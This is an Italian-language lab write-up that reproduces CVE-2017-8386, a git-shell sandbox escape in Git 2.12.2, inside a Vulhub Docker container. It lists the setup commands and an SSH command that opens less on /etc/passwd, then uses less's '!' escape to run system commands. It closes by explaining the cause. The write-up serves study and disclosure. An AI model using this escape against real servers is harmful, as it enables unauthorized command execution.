
PoC per la vulnerabilità di bypass della sandbox di Git-Shell CVE-2017-8386.
정수진(@suz1n)
Git-shell fornisce un ambiente che consente solo comandi git limitati tramite SSH. Tuttavia, in alcune versioni di git-shell (come la 2.12.2) esiste una vulnerabilità (CVE-2017-8386) che consente di aggirare la sandbox ed eseguire comandi di sistema abusando del comando less.
Questo report documenta l'esecuzione di un PoC per questa vulnerabilità e ne riassume il processo.
git clone https://github.com/phith0n/vulhub.git
cd vulhub/git/CVE-2017-8386/

• Immagine base Ubuntu 16.04
• Installazione di Git 2.12.2 dal sorgente
• Installazione ed esecuzione del server OpenSSH
• Configurazione dell'ambiente git-shell (creazione dell'utente git)
docker-compose build
docker-compose up -d
docker ps
• Verifica dell'esecuzione del container (git-shell-cve-2017-8386)

1. Genera e copia id_rsa.pub in locale
2. Accedi all'interno del container e passa all'utente git
3. Registra authorized_keys
docker exec -it git-shell-cve-2017-8386 /bin/bash
chsh -s /bin/bash git
su git
mkdir -p ~/.ssh
chmod 700 ~/.ssh
touch ~/.ssh/authorized_keys
chmod 600 ~/.ssh/authorized_keys
vim ~/.ssh/authorized_keys

apt update
apt install less -y
apt install man-db -y
• Installazione dei pacchetti less e man completata per eseguire il PoC
ssh -p 3322 -i id_rsa -t [email protected] "less /etc/passwd"
• Accesso alla schermata di less riuscito
• Possibilità di eseguire comandi di sistema tramite il comando !
• !id -> stampa l'ID utente e l'ID del gruppo

• !whoami -> utente corrente (git)
• !uname -a -> stampa le informazioni sul kernel di sistema
• !ls /home/git -> elenca i file della directory home di git
• L'ambiente git-shell impedisce agli utenti di eseguire comandi di sistema.
• Tuttavia, tramite il comando `git-upload-archive --help` è possibile richiamare internamente less.
• Il comando less supporta l'esecuzione di comandi shell di sistema tramite la funzionalità !.
• Di conseguenza, è possibile aggirare la sandbox di git-shell ed eseguire comandi arbitrari.
• Blog Insinuator: https://insinuator.net/2017/05/git-shell-bypass-by-abusing-less-cve-2017-8386/
• Repository GitHub Vulhub: https://github.com/phith0n/vulhub